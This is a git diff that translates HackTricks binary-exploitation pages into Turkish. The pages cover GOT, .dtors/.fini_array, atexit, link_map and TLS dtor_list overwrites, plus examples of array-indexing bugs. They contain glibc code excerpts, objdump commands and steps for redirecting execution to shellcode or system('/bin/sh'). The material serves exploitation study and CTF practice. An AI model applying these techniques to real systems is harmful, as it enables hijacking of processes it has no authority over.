mümkün olur, böylece o parça tahsis edildiğinde **genellikle `free`** olan bir fonksiyonun işaretçisini **geçersiz kılmak** mümkün olacaktır.\ +Sonra, `free`'yi `system`'a işaret edecek şekilde ayarlayıp `/bin/sh\x00` yazılmış bir parçayı serbest bıraktığınızda bir shell çalıştıracaktır. -It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** +Burada bir [**örnek bulabilirsiniz**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** -## **Protections** +## **Koruma** -The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: +**Full RELRO** koruması, ikili dosya başlatıldığında fonksiyonların tüm adreslerini çözerek ve sonrasında **GOT tablosunu yalnızca okunur** hale getirerek bu tür tekniklere karşı koruma sağlamayı amaçlar: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -## References +## Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 31e45fba4..502f660ad 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -5,52 +5,48 @@ ## .dtors > [!CAUTION] -> Nowadays is very **weird to find a binary with a .dtors section!** +> Günümüzde bir .dtors bölümüne sahip bir ikili bulmak çok **garip!** -The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ -The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. - -Get the address of this section with: +Yıkıcılar, program **sona ermeden önce** (main fonksiyonu döndükten sonra) **çalıştırılan** fonksiyonlardır.\ +Bu fonksiyonların adresleri, ikilinin **`.dtors`** bölümünde saklanır ve bu nedenle, eğer **`__DTOR_END__`** adresine bir **shellcode** yazmayı başarırsanız, bu, program sona ermeden önce **çalıştırılacaktır**. +Bu bölümün adresini almak için: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` - -Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +Genellikle **DTOR** işaretlerini `ffffffff` ve `00000000` değerleri **arasında** bulursunuz. Yani bu değerleri gördüğünüzde, **kayıtlı bir fonksiyon yoktur** anlamına gelir. Bu yüzden **`00000000`** değerini **shellcode**'un **adresine** **overwrite** edin. > [!WARNING] -> Ofc, you first need to find a **place to store the shellcode** in order to later call it. +> Elbette, önce **shellcode**'u saklayacak bir **yer bulmanız** gerekiyor, böylece daha sonra çağırabilirsiniz. ## **.fini_array** -Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. - +Temelde bu, program sona ermeden önce **çağrılacak fonksiyonlar** ile bir yapıdır, tıpkı **`.dtors`** gibi. Bu, **shellcode**'unuzu sadece bir adrese atlayarak çağırabiliyorsanız veya **vulnerabiliteyi ikinci kez istismar etmek için** tekrar **`main`**'e dönmeniz gereken durumlarda ilginçtir. ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +Not edin ki **`.fini_array`**'den bir fonksiyon çalıştırıldığında bir sonraki fonksiyona geçer, bu nedenle birkaç kez çalıştırılmaz (sonsuz döngüleri önler), ancak burada yer alan fonksiyonun yalnızca 1 **çalıştırılmasını** sağlar. -Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. +**`.fini_array`**'deki girişlerin **ters** sırayla çağrıldığını unutmayın, bu nedenle sonuncusundan yazmaya başlamanız muhtemelen daha iyi olacaktır. -Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. +#### Sonsuz döngü -#### Eternal loop +**`.fini_array`**'i kötüye kullanarak bir sonsuz döngü elde etmek için [**burada ne yapıldığını kontrol edebilirsiniz**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Eğer **`.fini_array`**'de en az 2 girişiniz varsa, şunları yapabilirsiniz: -In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - -- Use your first write to **call the vulnerable arbitrary write function** again -- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** - - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again. +- İlk yazmanızı **savunmasız rastgele yazma fonksiyonunu** tekrar çağırmak için kullanın +- Ardından, **`__libc_csu_fini`** tarafından saklanan yığın üzerindeki dönüş adresini hesaplayın (tüm **`.fini_array`** fonksiyonlarını çağıran fonksiyon) ve oraya **`__libc_csu_fini`**'nin **adresini** koyun +- Bu, **`__libc_csu_fini`**'nin kendisini tekrar çağırmasına neden olacak ve **`.fini_array`** fonksiyonlarını tekrar çalıştıracak, bu da savunmasız WWW fonksiyonunu 2 kez çağıracaktır: biri **rastgele yazma** için ve diğeri de yığında **`__libc_csu_fini`**'nin dönüş adresini tekrar yazmak için kendisini tekrar çağırmak üzere. > [!CAUTION] -> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. -> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. +> [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** bölüm **`.fini_array`** **salt okunur** hale getirilmiştir. +> Daha yeni sürümlerde, [**Partial RELRO**] ile bile bölüm **`.fini_array`** **salt okunur** hale getirilmiştir. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 97c286231..8844b7296 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -1,39 +1,38 @@ -# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers +# WWW2Exec - atexit(), TLS Depolama ve Diğer Karışık Göstergeler {{#include ../../banners/hacktricks-training.md}} -## **\_\_atexit Structures** +## **\_\_atexit Yapıları** > [!CAUTION] -> Nowadays is very **weird to exploit this!** +> Günümüzde bunu istismar etmek çok **garip!** -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** bir **diğer fonksiyonların parametre olarak geçirildiği** bir fonksiyondur. Bu **fonksiyonlar**, bir **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaktır**.\ +Eğer bu **fonksiyonlardan** herhangi birinin **adresini** örneğin bir shellcode'a işaret edecek şekilde **değiştirebilirseniz**, **sürecin kontrolünü** **ele geçireceksiniz**, ancak bu şu anda daha karmaşık.\ +Şu anda çalıştırılacak **fonksiyonların adresleri** birkaç yapı arkasında **gizlidir** ve nihayetinde işaret ettikleri adresler, fonksiyonların adresleri değil, **XOR ile şifrelenmiş** ve **rastgele bir anahtar** ile kaydırılmıştır. Bu nedenle, şu anda bu saldırı vektörü **en azından x86** ve **x64_86** üzerinde **çok kullanışlı değildir**.\ +**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dir. **m68k, mips32, mips64, aarch64, arm, hppa** gibi **diğer mimariler** şifreleme fonksiyonunu **uygulamaz** çünkü bu fonksiyon **girdi olarak aldığı ile aynı** çıktıyı döndürür. Bu nedenle, bu mimariler bu vektörle saldırıya uğrayabilir. -You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) +Bunun nasıl çalıştığına dair derinlemesine bir açıklamayı [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) adresinde bulabilirsiniz. ## link_map -As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. +Açıklandığı gibi [**bu yazıda**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), Program `return` veya `exit()` kullanarak çıkarsa, `__run_exit_handlers()` çalıştırılacak ve kayıtlı yok edicileri çağıracaktır. > [!CAUTION] -> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. - -The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): +> Eğer program **`_exit()`** fonksiyonu aracılığıyla çıkarsa, **`exit` syscall**'ini çağıracak ve çıkış yöneticileri çalıştırılmayacaktır. Bu nedenle, `__run_exit_handlers()`'ın çalıştırıldığını doğrulamak için üzerine bir kesme noktası koyabilirsiniz. +Önemli kod ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): ```c ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; if (fini_array != NULL) - { - ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); - size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); +{ +ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); +size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); - while (sz-- > 0) - ((fini_t) array[sz]) (); - } - [...] +while (sz-- > 0) +((fini_t) array[sz]) (); +} +[...] @@ -41,198 +40,187 @@ if (fini_array != NULL) // This is the d_un structure ptype l->l_info[DT_FINI_ARRAY]->d_un type = union { - Elf64_Xword d_val; // address of function that will be called, we put our onegadget here - Elf64_Addr d_ptr; // offset from l->l_addr of our structure +Elf64_Xword d_val; // address of function that will be called, we put our onegadget here +Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` +`map -> l_addr + fini_array -> d_un.d_ptr` ifadesinin **çağrılacak fonksiyonlar dizisinin** konumunu **hesaplamak için** kullanıldığına dikkat edin. -Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. +Bir **kaç seçenek** var: -There are a **couple of options**: - -- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code -- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. - - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array. - - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example. - -Following the previous code you can find another interesting section with the code: +- `map->l_addr` değerini, rastgele kod çalıştırma talimatları içeren **sahte bir `fini_array`** gösterecek şekilde geçersiz kılmak +- `l_info[DT_FINI_ARRAY]` ve `l_info[DT_FINI_ARRAYSZ]` girişlerini (bellekte daha az veya daha çok ardışık olan) geçersiz kılmak, böylece **bir sahte `Elf64_Dyn`** yapısına işaret etmelerini sağlamak ve böylece **`array`'in, saldırganın kontrol ettiği bir bellek** bölgesine işaret etmesini sağlamak. +- [**Bu yazım**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell), `l_info[DT_FINI_ARRAY]`'ı `.bss` içinde kontrol edilen bir belleğin adresi ile geçersiz kılar ve bu bellek sahte bir `fini_array` içerir. Bu sahte dizi **öncelikle bir** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adresini** içerir, bu adres çalıştırılacak ve ardından bu **sahte dizinin** adresi ile `map->l_addr` **değerinin** farkını içerir, böylece `*array` sahte diziye işaret eder. +- Bu tekniğin ana gönderisine ve [**bu yazıma**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) göre, ld.so yığında, ld.so'daki ikili `link_map`'e işaret eden bir işaretçi bırakır. Rastgele bir yazma ile bunu geçersiz kılmak ve saldırgan tarafından kontrol edilen bir sahte `fini_array`'e işaret etmesini sağlamak mümkündür; örneğin bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresi ile. +Önceki kodun ardından, kodla birlikte başka ilginç bir bölüm bulabilirsiniz: ```c /* Next try the old-style destructor. */ ElfW(Dyn) *fini = map->l_info[DT_FINI]; if (fini != NULL) - DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); +DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` +Bu durumda, sahte bir `ElfW(Dyn)` yapısına işaret eden `map->l_info[DT_FINI]` değerini geçersiz kılmak mümkün olacaktır. [**daha fazla bilgi burada**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). -In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). +## TLS-Storage dtor_list geçersiz kılma **`__run_exit_handlers`** içinde -## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** - -As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered. - -Code from `_run_exit_handlers()`: +[**burada açıklandığı gibi**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), bir program `return` veya `exit()` ile çıkarsa, kayıtlı olan herhangi bir yok edici fonksiyonu çağıracak olan **`__run_exit_handlers()`** fonksiyonunu çalıştıracaktır. +`_run_exit_handlers()` kodu: ```c /* Call all functions registered with `atexit' and `on_exit', - in the reverse of the order in which they were registered - perform stdio cleanup, and terminate program execution with STATUS. */ +in the reverse of the order in which they were registered +perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, - bool run_list_atexit, bool run_dtors) +bool run_list_atexit, bool run_dtors) { - /* First, call the TLS destructors. */ +/* First, call the TLS destructors. */ #ifndef SHARED - if (&__call_tls_dtors != NULL) +if (&__call_tls_dtors != NULL) #endif - if (run_dtors) - __call_tls_dtors (); +if (run_dtors) +__call_tls_dtors (); ``` - -Code from **`__call_tls_dtors()`**: - +**`__call_tls_dtors()`** kodu: ```c typedef void (*dtor_func) (void *); struct dtor_list //struct added { - dtor_func func; - void *obj; - struct link_map *map; - struct dtor_list *next; +dtor_func func; +void *obj; +struct link_map *map; +struct dtor_list *next; }; [...] /* Call the destructors. This is called either when a thread returns from the - initial function or when the process exits via the exit function. */ +initial function or when the process exits via the exit function. */ void __call_tls_dtors (void) { - while (tls_dtor_list) // parse the dtor_list chained structures - { - struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list - dtor_func func = cur->func; - PTR_DEMANGLE (func); // demangle the function ptr +while (tls_dtor_list) // parse the dtor_list chained structures +{ +struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list +dtor_func func = cur->func; +PTR_DEMANGLE (func); // demangle the function ptr - tls_dtor_list = tls_dtor_list->next; // next dtor_list structure - func (cur->obj); - [...] - } +tls_dtor_list = tls_dtor_list->next; // next dtor_list structure +func (cur->obj); +[...] +} } ``` +Her kayıtlı fonksiyon için **`tls_dtor_list`**, **`cur->func`**'dan işaretçiyi çözerek **`cur->obj`** ile çağıracaktır. -For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. - -Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\ -Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.** - -Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits: +Bu [**GEF çatallamasındaki**](https://github.com/bata24/gef) **`tls`** fonksiyonunu kullanarak, aslında **`dtor_list`**'in **stack canary** ve **PTR_MANGLE cookie**'ye çok **yakın** olduğunu görebiliriz. Bu nedenle, üzerinde bir taşma ile **cookie** ve **stack canary**'yi **üst üste yazmak** mümkün olacaktır.\ +PTR_MANGLE cookie'sini üst üste yazarak, **`PTR_DEMANLE` fonksiyonunu atlamak** için 0x00 olarak ayarlamak, gerçek adresi elde etmek için kullanılan **`xor`**'un sadece yapılandırılmış adres olduğunu gösterecektir. Ardından, **`dtor_list`** üzerinde yazarak, **birkaç fonksiyonu** fonksiyon **adresleri** ve **argümanları** ile **zincirlemek** mümkündür. +Son olarak, saklanan işaretçinin sadece cookie ile xoredilmekle kalmayıp, aynı zamanda 17 bit döndürüleceğini unutmayın: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE ``` +Bu yeni bir adres eklemeden önce dikkate almanız gereken bir durumdur. -So you need to take this into account before adding a new address. +[**orijinal gönderide**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) bir örnek bulun. -Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). +## Diğer bozulmuş işaretçiler **`__run_exit_handlers`** içinde -## Other mangled pointers in **`__run_exit_handlers`** - -This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called. - -Let's check more code of this function: +Bu teknik [**burada açıklanmıştır**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) ve yine programın **`return` veya `exit()` çağrısı yaparak çıkmasına** bağlıdır, böylece **`__run_exit_handlers()`** çağrılır. +Bu fonksiyonun daha fazla kodunu kontrol edelim: ```c - while (true) - { - struct exit_function_list *cur; +while (true) +{ +struct exit_function_list *cur; - restart: - cur = *listp; +restart: +cur = *listp; - if (cur == NULL) - { - /* Exit processing complete. We will not allow any more - atexit/on_exit registrations. */ - __exit_funcs_done = true; - break; - } +if (cur == NULL) +{ +/* Exit processing complete. We will not allow any more +atexit/on_exit registrations. */ +__exit_funcs_done = true; +break; +} - while (cur->idx > 0) - { - struct exit_function *const f = &cur->fns[--cur->idx]; - const uint64_t new_exitfn_called = __new_exitfn_called; +while (cur->idx > 0) +{ +struct exit_function *const f = &cur->fns[--cur->idx]; +const uint64_t new_exitfn_called = __new_exitfn_called; - switch (f->flavor) - { - void (*atfct) (void); - void (*onfct) (int status, void *arg); - void (*cxafct) (void *arg, int status); - void *arg; +switch (f->flavor) +{ +void (*atfct) (void); +void (*onfct) (int status, void *arg); +void (*cxafct) (void *arg, int status); +void *arg; - case ef_free: - case ef_us: - break; - case ef_on: - onfct = f->func.on.fn; - arg = f->func.on.arg; - PTR_DEMANGLE (onfct); +case ef_free: +case ef_us: +break; +case ef_on: +onfct = f->func.on.fn; +arg = f->func.on.arg; +PTR_DEMANGLE (onfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - onfct (status, arg); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_at: - atfct = f->func.at; - PTR_DEMANGLE (atfct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +onfct (status, arg); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_at: +atfct = f->func.at; +PTR_DEMANGLE (atfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - atfct (); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_cxa: - /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), - we must mark this function as ef_free. */ - f->flavor = ef_free; - cxafct = f->func.cxa.fn; - arg = f->func.cxa.arg; - PTR_DEMANGLE (cxafct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +atfct (); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_cxa: +/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), +we must mark this function as ef_free. */ +f->flavor = ef_free; +cxafct = f->func.cxa.fn; +arg = f->func.cxa.arg; +PTR_DEMANGLE (cxafct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - cxafct (arg, status); - __libc_lock_lock (__exit_funcs_lock); - break; - } +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +cxafct (arg, status); +__libc_lock_lock (__exit_funcs_lock); +break; +} - if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) - /* The last exit function, or another thread, has registered - more exit functions. Start the loop over. */ - goto restart; - } +if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) +/* The last exit function, or another thread, has registered +more exit functions. Start the loop over. */ +goto restart; +} - *listp = cur->next; - if (*listp != NULL) - /* Don't free the last element in the chain, this is the statically - allocate element. */ - free (cur); - } +*listp = cur->next; +if (*listp != NULL) +/* Don't free the last element in the chain, this is the statically +allocate element. */ +free (cur); +} - __libc_lock_unlock (__exit_funcs_lock); +__libc_lock_unlock (__exit_funcs_lock); ``` +Değişken `f`, **`initial`** yapısına işaret eder ve `f->flavor` değerine bağlı olarak farklı fonksiyonlar çağrılacaktır.\ +Değere bağlı olarak, çağrılacak fonksiyonun adresi farklı bir yerde olacaktır, ancak her zaman **demangled** olacaktır. -The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ -Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**. +Ayrıca, **`ef_on`** ve **`ef_cxa`** seçeneklerinde bir **argument** kontrol etmek de mümkündür. -Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. +Bir hata ayıklama oturumunda **`gef> p initial`** komutunu çalıştırarak **`initial` yapısını** kontrol etmek mümkündür. -It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. - -To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\ -You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). +Bunu kötüye kullanmak için ya **leak** yapmanız ya da `PTR_MANGLE` çerezini silmeniz ve ardından `system('/bin/sh')` ile initial'daki bir `cxa` girişini yazmanız gerekir.\ +Bunun bir örneğini [**teknik hakkında orijinal blog yazısında**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) bulabilirsiniz. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index 675eb939e..f8a7b8bba 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -1,18 +1,18 @@ -# Array Indexing +# Dizi İndeksleme {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. +Bu kategori, dizilerdeki indekslerin işlenmesindeki hatalar nedeniyle belirli verilerin üzerine yazılmasının mümkün olduğu tüm zayıflıkları içerir. Sömürü mekanizması tamamen zayıflığın koşullarına bağlı olduğundan, belirli bir metodoloji olmadan çok geniş bir kategoridir. -However he you can find some nice **examples**: +Ancak burada bazı güzel **örnekler** bulabilirsiniz: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. +- **Adresler** için bir dizi ve o verilerin **boyutları** için bir dizi olmak üzere **2 çakışan dizi** vardır. Birinden diğerine üzerine yazmak mümkündür, bu da boyut olarak gösterilen keyfi bir adres yazmayı sağlar. Bu, GOT tablosundaki `free` fonksiyonunun adresini yazmayı ve ardından bunu `system` adresi ile üzerine yazmayı ve `/bin/sh` ile bir bellekten free çağırmayı sağlar. - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. +- 64 bit, nx yok. Her şeyin çift sayı olarak kullanılacağı ve en küçüğünden en büyüğüne sıralanacağı bir tür tampon taşması elde etmek için bir boyutu üzerine yazın, bu nedenle bu gereksinimi karşılayan bir shellcode oluşturmak gerekir, canary'nin yerinden hareket ettirilmemesi gerektiğini dikkate alarak ve sonunda RIP'i ret'e işaret eden bir adresle üzerine yazarak, en büyük adresi yığın başlangıcına işaret eden yeni bir adresle değiştirmek (program tarafından sızdırılan) böylece ret'i oraya atlamak için kullanmak mümkündür. - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. +- 64 bit, relro yok, canary, nx, pie yok. Yığın üzerindeki bir dizide bir off-by-one vardır, bu da bir işaretçiyi kontrol etmeyi sağlar ve WWW'yi garanti eder (dizinin tüm sayıların toplamını overwritten adresine yazar). Yığın kontrol altındadır, bu nedenle GOT `exit` adresi `pop rdi; ret` ile üzerine yazılır ve yığında `main` adresi eklenir (tekrar `main`'e döner). Adresi sızdırmak için puts kullanarak GOT'daki adresi sızdırmak için bir ROP zinciri kullanılır (`exit` çağrılacak, bu nedenle yığında bu zinciri çalıştıracaktır). Son olarak, ret2lib'i çalıştıran yeni bir ROP zinciri kullanılır. - 